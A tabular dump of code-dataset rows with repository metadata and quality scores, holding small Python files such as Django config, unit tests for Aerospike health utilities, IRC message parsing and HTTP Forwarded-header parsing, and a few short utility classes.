hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
81d7b3f00af6a664a3e30fd3cfd99985dc87dff6
| 90
|
py
|
Python
|
apps/tasks/apps.py
|
dayvidemerson/django-rest-example
|
85eabb1e154cfd8ebc0019080b37cd3f1302c206
|
[
"MIT"
] | null | null | null |
apps/tasks/apps.py
|
dayvidemerson/django-rest-example
|
85eabb1e154cfd8ebc0019080b37cd3f1302c206
|
[
"MIT"
] | null | null | null |
apps/tasks/apps.py
|
dayvidemerson/django-rest-example
|
85eabb1e154cfd8ebc0019080b37cd3f1302c206
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class TasksConfig(AppConfig):
name = 'apps.tasks'
| 15
| 33
| 0.744444
| 11
| 90
| 6.090909
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 90
| 5
| 34
| 18
| 0.893333
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
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| null | 0
| 0
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| 1
| 0
| 1
| 0
|
0
| 4
|
81d81fb26a7ecc0889e73c050eef1631718f89fb
| 14,926
|
py
|
Python
|
test/unit/health/test_util.py
|
jfwm2/aerospike-admin
|
3ce721bbd249eca73046345620941a6aef325589
|
[
"Apache-2.0"
] | 37
|
2015-02-20T20:50:40.000Z
|
2021-11-11T18:54:02.000Z
|
test/unit/health/test_util.py
|
jfwm2/aerospike-admin
|
3ce721bbd249eca73046345620941a6aef325589
|
[
"Apache-2.0"
] | 23
|
2015-02-26T01:11:49.000Z
|
2021-06-30T22:08:58.000Z
|
test/unit/health/test_util.py
|
jfwm2/aerospike-admin
|
3ce721bbd249eca73046345620941a6aef325589
|
[
"Apache-2.0"
] | 19
|
2015-01-07T01:17:39.000Z
|
2021-11-07T16:12:34.000Z
|
# Copyright 2013-2021 Aerospike, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import unittest
from lib.health import constants, util
class UtilTest(unittest.TestCase):
def test_deep_merge_dicts(self):
arg1 = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("NS1", "NAMESPACE"): {("CONFIG1", "KEY"): (1, [])},
("NS2", "NAMESPACE"): {
("CONFIG2", "KEY"): (2, []),
("CONFIG3", "KEY"): (3, []),
},
}
}
}
arg2 = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("NS3", "NAMESPACE"): {("CONFIG1", "KEY"): (3, [])},
("NS2", "NAMESPACE"): {
("CONFIG2", "KEY"): (4, []),
("CONFIG5", "KEY"): (7, []),
},
}
}
}
expected = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("NS1", "NAMESPACE"): {("CONFIG1", "KEY"): (1, [])},
("NS3", "NAMESPACE"): {("CONFIG1", "KEY"): (3, [])},
("NS2", "NAMESPACE"): {
("CONFIG2", "KEY"): (2, []),
("CONFIG3", "KEY"): (3, []),
("CONFIG5", "KEY"): (7, []),
},
}
}
}
result = util.deep_merge_dicts(arg1, arg2)
self.assertEqual(
result, expected, "deep_merge_dicts did not return the expected result"
)
def test_add_component_keys(self):
comp_list = ["a", "b"]
data = "no_dict"
result = util.add_component_keys(data, comp_list)
self.assertEqual(
result, data, "add_component_keys did not return the expected result"
)
data = {"a": {"b": {"c": 1}}}
result = util.add_component_keys(data, None)
self.assertEqual(
result, data, "add_component_keys did not return the expected result"
)
result = util.add_component_keys(data, comp_list)
expected = {"a": {"b": {"c": 1}}}
self.assertEqual(
result,
expected["a"]["b"],
"add_component_keys did not return the expected result",
)
self.assertEqual(
data, expected, "add_component_keys did not return the expected result"
)
comp_list.append("d")
result = util.add_component_keys(data, comp_list)
expected = {"a": {"b": {"c": 1, "d": {}}}}
self.assertEqual(
result, {}, "add_component_keys did not return the expected result"
)
self.assertEqual(
data, expected, "add_component_keys did not return the expected result"
)
def test_pop_tuple_keys_for_next_level(self):
result, found = util.pop_tuple_keys_for_next_level([])
self.assertEqual(
result,
[],
"pop_tuple_keys_for_next_level did not return the expected result",
)
self.assertEqual(
found,
False,
"pop_tuple_keys_for_next_level did not return the expected result",
)
key_list = [("CLUSTER", "C1"), ("NODE", "N1"), ("NAMESPACE", "NS1")]
expected = [("CLUSTER", "C1"), ("NODE", "N1"), ("NAMESPACE", "NS1")]
result, found = util.pop_tuple_keys_for_next_level(key_list)
self.assertEqual(
result,
expected,
"pop_tuple_keys_for_next_level did not return the expected result",
)
self.assertEqual(
found,
False,
"pop_tuple_keys_for_next_level did not return the expected result",
)
key_list = [
("CLUSTER", "C1"),
("NODE", "N1"),
("NAMESPACE", "NS1"),
(None, None),
]
result, found = util.pop_tuple_keys_for_next_level(key_list)
self.assertEqual(
result,
expected,
"pop_tuple_keys_for_next_level did not return the expected result",
)
self.assertEqual(
found,
True,
"pop_tuple_keys_for_next_level did not return the expected result",
)
def test_merge_dicts_with_new_tuple_keys(self):
dict_from = {"a": {"b": {"c": 1}}}
main_dict = {}
key_list = [("CLUSTER", "C1"), ("NODE", "N1"), ("NAMESPACE", "NS1")]
util.merge_dicts_with_new_tuple_keys(
dict_from=dict_from, main_dict=main_dict, new_tuple_keys=key_list
)
expected = {
("C1", "CLUSTER"): {
("N1", "NODE"): {("NS1", "NAMESPACE"): {"b": {("c", "KEY"): 1}}}
}
}
self.assertEqual(
main_dict,
expected,
"merge_dicts_with_new_tuple_keys did not return the expected result",
)
key_list = [
("CLUSTER", "C1"),
("NODE", "N1"),
(None, None),
("NAMESPACE", None),
]
util.merge_dicts_with_new_tuple_keys(
dict_from=dict_from, main_dict=main_dict, new_tuple_keys=key_list
)
expected = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("b", "NAMESPACE"): {("c", "KEY"): 1},
("NS1", "NAMESPACE"): {"b": {("c", "KEY"): 1}},
}
}
}
self.assertEqual(
main_dict,
expected,
"merge_dicts_with_new_tuple_keys did not return the expected result",
)
def test_create_health_input_dict(self):
dict_from = {"a": {"b": {"c": 1}}}
main_dict = {}
tuple_key_list = [("NODE", "N1"), ("NAMESPACE", "NS1")]
comp_list = [("sn0", "SNAPSHOT"), ("cl1", "CLUSTER")]
util.create_health_input_dict(
dict_from=dict_from,
main_dict=main_dict,
new_tuple_keys=tuple_key_list,
new_component_keys=comp_list,
)
expected = {
("sn0", "SNAPSHOT"): {
("cl1", "CLUSTER"): {
("N1", "NODE"): {("NS1", "NAMESPACE"): {"b": {("c", "KEY"): 1}}}
}
}
}
self.assertEqual(
main_dict,
expected,
"create_health_input_dict did not return the expected result",
)
def test_h_eval(self):
data = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("NS1", "NAMESPACE"): {
("CONFIG1", "KEY"): "false",
("CONFIG2", "KEY"): "TRUE",
("CONFIG3", "KEY"): "1",
("CONFIG4", "KEY"): "9.5",
},
("NS2", "NAMESPACE"): {
("CONFIG1", "KEY"): "abcd",
("CONFIG2", "KEY"): "100%",
("CONFIG3", "KEY"): "n/e",
},
}
}
}
expected = {
("C1", "CLUSTER"): {
("N1", "NODE"): {
("NS1", "NAMESPACE"): {
("CONFIG1", "KEY"): False,
("CONFIG2", "KEY"): True,
("CONFIG3", "KEY"): 1,
("CONFIG4", "KEY"): 9.5,
},
("NS2", "NAMESPACE"): {
("CONFIG1", "KEY"): "abcd",
("CONFIG2", "KEY"): 100,
},
}
}
}
self.assertEqual(
util.h_eval(data), expected, "h_eval did not return the expected result"
)
def test_merge_key(self):
expected = " "
result = util.merge_key("key", " ")
self.assertEqual(
result, expected, "merge_key did not return the expected result"
)
expected = "abcd"
result = util.merge_key("key", "abcd")
self.assertEqual(
result, expected, "merge_key did not return the expected result"
)
expected = "key/test"
result = util.merge_key("key", ("test", "NAMESPACE"), recurse=True)
self.assertEqual(
result, expected, "merge_key did not return the expected result"
)
expected = "test"
result = util.merge_key("", ("test", "NAMESPACE"), recurse=True)
self.assertEqual(
result, expected, "merge_key did not return the expected result"
)
def test_make_map(self):
self.assertEqual(
util.make_map("key", 1),
{("key", "KEY"): 1},
"make_map did not return the expected result",
)
def test_make_key(self):
self.assertEqual(
util.make_key("key"),
("key", "KEY"),
"make_key did not return the expected result",
)
def test_create_value_list_to_save(self):
op1 = [
{("observed_nodes", "KEY"): (6.0, [("conf2", 100, True)])},
{("c", "KEY"): (106.0, [("conf1", 6.0, True)])},
]
op2 = [
{("observed_nodes", "KEY"): ("conf3", [("a", "abcd", True)])},
{("a", "KEY"): ("testval", [("conf4", "testval", True)])},
]
key = "key"
value = "value"
result = util.create_value_list_to_save(
save_param=None, key=key, value=value, op1=op1, op2=op2
)
expected = [
("conf2", 100, True),
("conf1", 6.0, True),
("a", "abcd", True),
("conf4", "testval", True),
]
self.assertEqual(
result,
expected,
"create_value_list_to_save did not return the expected result",
)
result = util.create_value_list_to_save(
save_param="", key=key, value=value, op1=op1, op2=op2
)
expected = [
("conf2", 100, True),
("conf1", 6.0, True),
("a", "abcd", True),
("conf4", "testval", True),
(key, value, True),
]
self.assertEqual(
result,
expected,
"create_value_list_to_save did not return the expected result",
)
result = util.create_value_list_to_save(
save_param="save_key", key=key, value=value, op1=op1, op2=op2
)
expected = [
("conf2", 100, True),
("conf1", 6.0, True),
("a", "abcd", True),
("conf4", "testval", True),
("save_key", value, True),
]
self.assertEqual(
result,
expected,
"create_value_list_to_save did not return the expected result",
)
def test_create_snapshot_key(self):
self.assertEqual(
util.create_snapshot_key(1),
"SNAPSHOT001",
"create_snapshot_key did not return the expected result",
)
self.assertEqual(
util.create_snapshot_key(10),
"SNAPSHOT010",
"create_snapshot_key did not return the expected result",
)
self.assertEqual(
util.create_snapshot_key(999),
"SNAPSHOT999",
"create_snapshot_key did not return the expected result",
)
self.assertEqual(
util.create_snapshot_key(1000, "testsnapshot"),
"testsnapshot1000",
"create_snapshot_key did not return the expected result",
)
def test_create_health_internal_tuple(self):
self.assertEqual(
util.create_health_internal_tuple(
1, [("conf2", 100, True), ("conf1", 6.0, True)]
),
(1, [("conf2", 100, True), ("conf1", 6.0, True)]),
"create_health_internal_tuple did not return the expected result",
)
def test_get_value_from_health_internal_tuple(self):
self.assertEqual(
util.get_value_from_health_internal_tuple(
(1, [("conf2", 100, True), ("conf1", 6.0, True)])
),
1,
"get_value_from_health_internal_tuple did not return the expected result",
)
self.assertEqual(
util.get_value_from_health_internal_tuple(9),
9,
"get_value_from_health_internal_tuple did not return the expected result",
)
self.assertEqual(
util.get_value_from_health_internal_tuple(None),
None,
"get_value_from_health_internal_tuple did not return the expected result",
)
def test_is_health_parser_variable(self):
self.assertEqual(
util.is_health_parser_variable(1),
False,
"is_health_parser_variable did not return the expected result",
)
self.assertEqual(
util.is_health_parser_variable(None),
False,
"is_health_parser_variable did not return the expected result",
)
self.assertEqual(
util.is_health_parser_variable(("a", "b")),
False,
"is_health_parser_variable did not return the expected result",
)
self.assertEqual(
util.is_health_parser_variable((constants.HEALTH_PARSER_VAR, "b")),
True,
"is_health_parser_variable did not return the expected result",
)
def test_find_majority_element(self):
value_list = [1, 2, 3, 1, 2, 1, 2, 2]
self.assertEqual(
util.find_majority_element(value_list),
2,
"find_majority_element did not return the expected result",
)
value_list.append(1)
self.assertEqual(
util.find_majority_element(value_list),
2,
"find_majority_element did not return the expected result",
)
value_list.append(1)
self.assertEqual(
util.find_majority_element(value_list),
1,
"find_majority_element did not return the expected result",
)
self.assertEqual(
util.find_majority_element([]),
None,
"find_majority_element did not return the expected result",
)
| 33.391499
| 86
| 0.489816
| 1,496
| 14,926
| 4.658422
| 0.115642
| 0.086383
| 0.07232
| 0.0904
| 0.783039
| 0.758932
| 0.738126
| 0.719185
| 0.687617
| 0.602525
| 0
| 0.025823
| 0.377328
| 14,926
| 446
| 87
| 33.466368
| 0.724015
| 0.037049
| 0
| 0.498734
| 0
| 0
| 0.246117
| 0.045616
| 0
| 0
| 0
| 0
| 0.106329
| 1
| 0.037975
| false
| 0
| 0.005063
| 0
| 0.04557
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
81d9a69302d144c6966efeb5f538eff4c2d56a51
| 622
|
py
|
Python
|
tests/test_construct.py
|
TotallyNotRobots/py-irclib
|
ff23b8ae6942d4ecf6a3ac8362c32da36fac0fd0
|
[
"MIT"
] | 1
|
2019-05-18T21:47:10.000Z
|
2019-05-18T21:47:10.000Z
|
tests/test_construct.py
|
TotallyNotRobots/py-irclib
|
ff23b8ae6942d4ecf6a3ac8362c32da36fac0fd0
|
[
"MIT"
] | 190
|
2018-02-21T18:24:16.000Z
|
2022-03-30T20:01:40.000Z
|
tests/test_construct.py
|
TotallyNotRobots/py-irclib
|
ff23b8ae6942d4ecf6a3ac8362c32da36fac0fd0
|
[
"MIT"
] | 4
|
2018-02-19T06:05:09.000Z
|
2020-04-17T21:10:30.000Z
|
"""
Test constructing message objects
"""
from irclib.parser import Message
def test_param_construct():
"""Test constructing Message objects"""
msg = Message(None, None, "PRIVMSG", "#channel", "Message thing")
assert str(msg) == "PRIVMSG #channel :Message thing"
msg = Message(None, None, "PRIVMSG", ["#channel", "Message thing"])
assert str(msg) == "PRIVMSG #channel :Message thing"
msg = Message(None, None, "PRIVMSG", ["#channel", ":Message thing"])
assert str(msg) == "PRIVMSG #channel ::Message thing"
msg = Message(None, None, "PRIVMSG", [""])
assert str(msg) == "PRIVMSG :"
| 31.1
| 72
| 0.646302
| 71
| 622
| 5.633803
| 0.253521
| 0.21
| 0.315
| 0.39
| 0.6775
| 0.6775
| 0.6775
| 0.6775
| 0.6775
| 0.6775
| 0
| 0
| 0.181672
| 622
| 19
| 73
| 32.736842
| 0.785855
| 0.107717
| 0
| 0.2
| 0
| 0
| 0.359779
| 0
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0.1
| false
| 0
| 0.1
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
c4933b462dcac063b96ad5ff5c70e931282fb961
| 221
|
py
|
Python
|
leaflet_storage/managers.py
|
Biondilbiondo/django-leaflet-storage-concurrent-editing
|
98cc3be7c74ea545ed8a75b9ae198acfcbba03a3
|
[
"WTFPL"
] | 43
|
2015-09-02T07:24:33.000Z
|
2022-03-07T16:53:09.000Z
|
leaflet_storage/managers.py
|
Biondilbiondo/django-leaflet-storage-concurrent-editing
|
98cc3be7c74ea545ed8a75b9ae198acfcbba03a3
|
[
"WTFPL"
] | 9
|
2015-09-06T06:10:02.000Z
|
2017-07-10T10:29:26.000Z
|
leaflet_storage/managers.py
|
Biondilbiondo/django-leaflet-storage-concurrent-editing
|
98cc3be7c74ea545ed8a75b9ae198acfcbba03a3
|
[
"WTFPL"
] | 29
|
2015-10-03T17:29:37.000Z
|
2020-07-25T20:56:20.000Z
|
from django.contrib.gis.db import models
class PublicManager(models.GeoManager):
def get_queryset(self):
return super(PublicManager, self).get_queryset().filter(
share_status=self.model.PUBLIC)
| 24.555556
| 64
| 0.723982
| 27
| 221
| 5.814815
| 0.777778
| 0.140127
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176471
| 221
| 8
| 65
| 27.625
| 0.862637
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.2
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
c49d7fec5b57c0d06cca7dea78862e67bd6a7194
| 314
|
py
|
Python
|
tests/plugins/test_plugin_2/test_plugin_2.py
|
rogueresistor/GLaDOS
|
7246377a93e278cd5982d8a4c49b5381c2977f5f
|
[
"Apache-2.0"
] | null | null | null |
tests/plugins/test_plugin_2/test_plugin_2.py
|
rogueresistor/GLaDOS
|
7246377a93e278cd5982d8a4c49b5381c2977f5f
|
[
"Apache-2.0"
] | null | null | null |
tests/plugins/test_plugin_2/test_plugin_2.py
|
rogueresistor/GLaDOS
|
7246377a93e278cd5982d8a4c49b5381c2977f5f
|
[
"Apache-2.0"
] | null | null | null |
from glados import GladosBot, GladosPlugin
import logging
class TestPlugin2(GladosPlugin):
def __init__(self, bot: GladosBot, name, **kwargs):
super().__init__(name, bot, **kwargs)
logging.info(f"plugin {self.name} imported")
def test_function(self, echo, **kwargs):
return echo
| 26.166667
| 55
| 0.684713
| 37
| 314
| 5.567568
| 0.621622
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.003968
| 0.197452
| 314
| 11
| 56
| 28.545455
| 0.813492
| 0
| 0
| 0
| 0
| 0
| 0.085987
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.375
| 0.125
| 0.875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
c4c6be01fe2587670573a0e9f212ad7e4992abf3
| 117
|
py
|
Python
|
python/task11.py
|
mifomen/codepuzzles
|
430ffcc2d55a91746ce55c2881582f9db5a5b051
|
[
"MIT"
] | null | null | null |
python/task11.py
|
mifomen/codepuzzles
|
430ffcc2d55a91746ce55c2881582f9db5a5b051
|
[
"MIT"
] | null | null | null |
python/task11.py
|
mifomen/codepuzzles
|
430ffcc2d55a91746ce55c2881582f9db5a5b051
|
[
"MIT"
] | null | null | null |
a = int(input('miles per gallon= '))
print(f'Convert USA to Canada liters per hundred kilometers= {a*3.78} LPH KM')
| 29.25
| 78
| 0.700855
| 21
| 117
| 3.904762
| 0.904762
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.030303
| 0.153846
| 117
| 3
| 79
| 39
| 0.79798
| 0
| 0
| 0
| 0
| 0
| 0.735043
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
c4d303bd25b3a0f1604d7f6ada28b181874256cb
| 124
|
py
|
Python
|
cloudberry-py/cloudberry/plots/trendlines.py
|
olliekrk/cloud-berry
|
8b39fb0b4f8772348fb50c0c1d0200c96df03cbe
|
[
"MIT"
] | null | null | null |
cloudberry-py/cloudberry/plots/trendlines.py
|
olliekrk/cloud-berry
|
8b39fb0b4f8772348fb50c0c1d0200c96df03cbe
|
[
"MIT"
] | null | null | null |
cloudberry-py/cloudberry/plots/trendlines.py
|
olliekrk/cloud-berry
|
8b39fb0b4f8772348fb50c0c1d0200c96df03cbe
|
[
"MIT"
] | null | null | null |
class TrendLine:
"""Generic interface as different libraries may require different trend line configuration"""
pass
| 31
| 97
| 0.766129
| 14
| 124
| 6.785714
| 0.928571
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177419
| 124
| 3
| 98
| 41.333333
| 0.931373
| 0.701613
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.5
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
c4e9a3a705bb2f03c28e29047d91c7134e782f12
| 2,904
|
py
|
Python
|
test/restit/internal/forwarded_header_field_test.py
|
Rollmops/restit
|
ddc0fc3a4bf0ffed02c59cce5e7a07b3737e1874
|
[
"MIT"
] | 3
|
2020-03-08T19:44:32.000Z
|
2020-03-09T19:46:15.000Z
|
test/restit/internal/forwarded_header_field_test.py
|
Rollmops/restit
|
ddc0fc3a4bf0ffed02c59cce5e7a07b3737e1874
|
[
"MIT"
] | 11
|
2020-03-17T14:50:07.000Z
|
2020-04-03T11:20:30.000Z
|
test/restit/internal/forwarded_header_field_test.py
|
Rollmops/restit
|
ddc0fc3a4bf0ffed02c59cce5e7a07b3737e1874
|
[
"MIT"
] | null | null | null |
import unittest
from restit.internal.forwarded_header import ForwardedHeader
class ForwardedHeaderFieldTestCase(unittest.TestCase):
def test_parse_forwarded_for_ipv4_addresses(self):
full_syntax = "for=192.0.2.43, for=198.51.100.17:1234"
forwarded_header = ForwardedHeader.from_string(full_syntax)
self.assertIn("192.0.2.43", forwarded_header.for_list)
self.assertIn("198.51.100.17:1234", forwarded_header.for_list)
def test_parse_forwarded_for_ipv6_addresses(self):
full_syntax = 'For="[2001:db8:cafe::17]:4711", For="[2002:db8:cafe::17]:4712"'
forwarded_header = ForwardedHeader.from_string(full_syntax)
self.assertEqual("[2001:db8:cafe::17]:4711", forwarded_header.for_list[0])
self.assertEqual("[2002:db8:cafe::17]:4712", forwarded_header.for_list[1])
def test_parse_for_mixed_ipv4_and_ipv6(self):
forwarded_header = ForwardedHeader.from_string('for=192.0.2.43, for="[2001:db8:cafe::17]"')
self.assertEqual("192.0.2.43", forwarded_header.for_list[0])
self.assertEqual("[2001:db8:cafe::17]", forwarded_header.for_list[1])
self.assertEqual("192.0.2.43", forwarded_header.for_list[0])
self.assertEqual("[2001:db8:cafe::17]", forwarded_header.for_list[1])
def test_complete(self):
forwarded_header = ForwardedHeader.from_string("for=192.0.2.60;proto=http;by=203.0.113.43")
self.assertEqual(["192.0.2.60"], forwarded_header.for_list)
self.assertEqual("203.0.113.43", forwarded_header.by)
self.assertEqual("http", forwarded_header.proto)
def test_complete2(self):
forwarded_header = ForwardedHeader.from_string(
"for=12.34.56.78;host=example.com:8080;proto=https, for=23.45.67.89"
)
self.assertEqual(["12.34.56.78", "23.45.67.89"], forwarded_header.for_list)
self.assertEqual("https", forwarded_header.proto)
self.assertEqual("example.com:8080", forwarded_header.host)
def test_from_headers(self):
headers = {
"X-Forwarded-For": "12.34.56.78, 23.45.67.89",
"X-Forwarded-Host": "example.com",
"X-Forwarded-Proto": "https"
}
forwarded_header = ForwardedHeader.from_headers(headers)
self.assertEqual("https", forwarded_header.proto)
self.assertEqual(['12.34.56.78', '23.45.67.89'], forwarded_header.for_list)
self.assertEqual('example.com', forwarded_header.host)
def test_from_headers_forwarded(self):
headers = {
"Forwarded": "for=12.34.56.78;host=example.com;proto=https, for=23.45.67.89"
}
forwarded_header = ForwardedHeader.from_headers(headers)
self.assertEqual(["12.34.56.78", "23.45.67.89"], forwarded_header.for_list)
self.assertEqual("https", forwarded_header.proto)
self.assertEqual("example.com", forwarded_header.host)
| 43.343284
| 99
| 0.682163
| 397
| 2,904
| 4.803526
| 0.166247
| 0.220241
| 0.113267
| 0.138437
| 0.804929
| 0.72365
| 0.671211
| 0.492396
| 0.31463
| 0.31463
| 0
| 0.114061
| 0.169766
| 2,904
| 66
| 100
| 44
| 0.676898
| 0
| 0
| 0.306122
| 0
| 0.102041
| 0.235882
| 0.100551
| 0
| 0
| 0
| 0
| 0.408163
| 1
| 0.142857
| false
| 0
